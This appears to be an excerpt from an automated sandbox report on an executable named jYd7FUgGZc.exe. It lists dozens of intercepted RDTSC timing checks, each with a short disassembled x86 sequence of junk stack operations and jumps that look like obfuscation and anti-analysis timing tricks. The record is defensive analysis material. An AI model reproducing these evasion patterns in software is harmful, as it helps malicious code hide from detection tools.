Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55FF50 second address: 55FF63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAA08D7CA2Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55EFEF second address: 55EFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55EFF4 second address: 55EFF9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55EFF9 second address: 55F023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jo 00007FAA08929797h 0x0000000e pushad 0x0000000f jmp 00007FAA08929789h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 561DBF second address: 561E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007FAA08D7CA32h 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FAA08D7CA28h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D34C5h] 0x00000030 mov dword ptr [ebp+122D191Fh], ebx 0x00000036 push 00000000h 0x00000038 mov edi, dword ptr [ebp+122D38FEh] 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007FAA08D7CA28h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000019h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a push eax 0x0000005b mov dword ptr [ebp+122D17E2h], edi 0x00000061 pop edi 0x00000062 push eax 0x00000063 push edi 0x00000064 push ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 562CF5 second address: 562CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 561FB9 second address: 561FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 561FBD second address: 561FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 563D9A second address: 563DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 562E89 second address: 562E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FAA08929776h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 564CDF second address: 564CE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 564CE5 second address: 564CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 564D7F second address: 564D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 564D87 second address: 564D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 567E39 second address: 567E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 567E3E second address: 567E43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 569F92 second address: 569F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 564011 second address: 56401F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FAA08929776h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 568FE4 second address: 568FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56A13D second address: 56A141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56A141 second address: 56A15D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FAA08D7CA26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56E23E second address: 56E242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56E242 second address: 56E248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56E248 second address: 56E268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FAA08929785h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56EBF0 second address: 56EC08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007FAA08D7CA26h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jnp 00007FAA08D7CA26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56EC08 second address: 56EC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56EC0D second address: 56EC13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56EC13 second address: 56EC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 56EC17 second address: 56EC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5756BD second address: 5756CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 574DFC second address: 574E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57A5FB second address: 57A5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57A5FF second address: 57A603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57A603 second address: 57A60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57A60D second address: 57A611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57A611 second address: 57A647 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FAA08929781h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jl 00007FAA08929782h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57A647 second address: 57A64B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57E4F7 second address: 57E4FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57ED9F second address: 57EDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57EDA8 second address: 57EDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57F0D9 second address: 57F0DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57F0DD second address: 57F0FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAA08929781h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57F0FA second address: 57F0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57F0FE second address: 57F108 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAA08929776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57F299 second address: 57F29F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 57F29F second address: 57F2C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FAA08929776h 0x0000000b jnc 00007FAA08929776h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007FAA08929782h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 509C46 second address: 509C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FAA08D7CA36h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 583C03 second address: 583C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007FAA08929776h 0x0000000b popad 0x0000000c jo 00007FAA08929784h 0x00000012 jmp 00007FAA0892977Ch 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 583C2A second address: 583C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 583C2F second address: 583C38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 583DA1 second address: 583DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 583DA5 second address: 583DAF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAA08929776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 583DAF second address: 583DB4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58423E second address: 584242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5837E9 second address: 58381A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAA08D7CA3Fh 0x00000008 jmp 00007FAA08D7CA39h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAA08D7CA2Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58381A second address: 583820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 584501 second address: 584505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 584AB7 second address: 584ACE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929782h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 584ACE second address: 584ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 584ADC second address: 584AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 js 00007FAA08929776h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f je 00007FAA0892977Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 589371 second address: 589377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 589377 second address: 58937D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58937D second address: 589381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 589381 second address: 589385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 558D62 second address: 558D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 558D66 second address: 558DB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 5204AC33h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FAA08929778h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov dword ptr [ebp+1244FB77h], edx 0x00000031 push 6014C335h 0x00000036 push eax 0x00000037 push edx 0x00000038 push esi 0x00000039 pushad 0x0000003a popad 0x0000003b pop esi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 558ED9 second address: 558F1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a xor di, 1F19h 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007FAA08D7CA32h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAA08D7CA2Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 559036 second address: 559051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FAA0892977Bh 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5591F0 second address: 5591FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 559508 second address: 55950C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55950C second address: 559547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, 839Eh 0x0000000e push 0000001Eh 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FAA08D7CA28h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push eax 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 559547 second address: 55954B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55989B second address: 55995C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAA08D7CA2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FAA08D7CA2Ch 0x00000010 nop 0x00000011 call 00007FAA08D7CA32h 0x00000016 mov ecx, 095940B5h 0x0000001b pop edx 0x0000001c lea eax, dword ptr [ebp+12484566h] 0x00000022 or edx, dword ptr [ebp+122D38BEh] 0x00000028 nop 0x00000029 push eax 0x0000002a pushad 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d je 00007FAA08D7CA26h 0x00000033 popad 0x00000034 pop eax 0x00000035 push eax 0x00000036 js 00007FAA08D7CA3Ah 0x0000003c jmp 00007FAA08D7CA34h 0x00000041 nop 0x00000042 push 00000000h 0x00000044 push edx 0x00000045 call 00007FAA08D7CA28h 0x0000004a pop edx 0x0000004b mov dword ptr [esp+04h], edx 0x0000004f add dword ptr [esp+04h], 00000017h 0x00000057 inc edx 0x00000058 push edx 0x00000059 ret 0x0000005a pop edx 0x0000005b ret 0x0000005c mov ecx, dword ptr [ebp+122D3624h] 0x00000062 mov di, ED0Dh 0x00000066 lea eax, dword ptr [ebp+12484522h] 0x0000006c sub dword ptr [ebp+122D1C1Ch], eax 0x00000072 push edx 0x00000073 mov ecx, 25BA928Dh 0x00000078 pop edx 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007FAA08D7CA37h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55995C second address: 55996E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007FAA08929776h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 55996E second address: 559972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 559972 second address: 559989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAA0892977Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 559989 second address: 5383E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FAA08D7CA28h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jne 00007FAA08D7CA2Ch 0x0000002b pushad 0x0000002c mov edx, dword ptr [ebp+122D2615h] 0x00000032 mov ah, 31h 0x00000034 popad 0x00000035 call dword ptr [ebp+122D3629h] 0x0000003b jmp 00007FAA08D7CA39h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FAA08D7CA34h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5383E9 second address: 538417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAA08929787h 0x0000000e jmp 00007FAA0892977Ah 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 51A8D7 second address: 51A8DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5883D1 second address: 5883DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5883DD second address: 5883EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jp 00007FAA08D7CA26h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58854E second address: 588554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588554 second address: 58856A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FAA08D7CA31h 0x0000000b jmp 00007FAA08D7CA2Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58856A second address: 58856F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 58856F second address: 588575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 588575 second address: 588580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
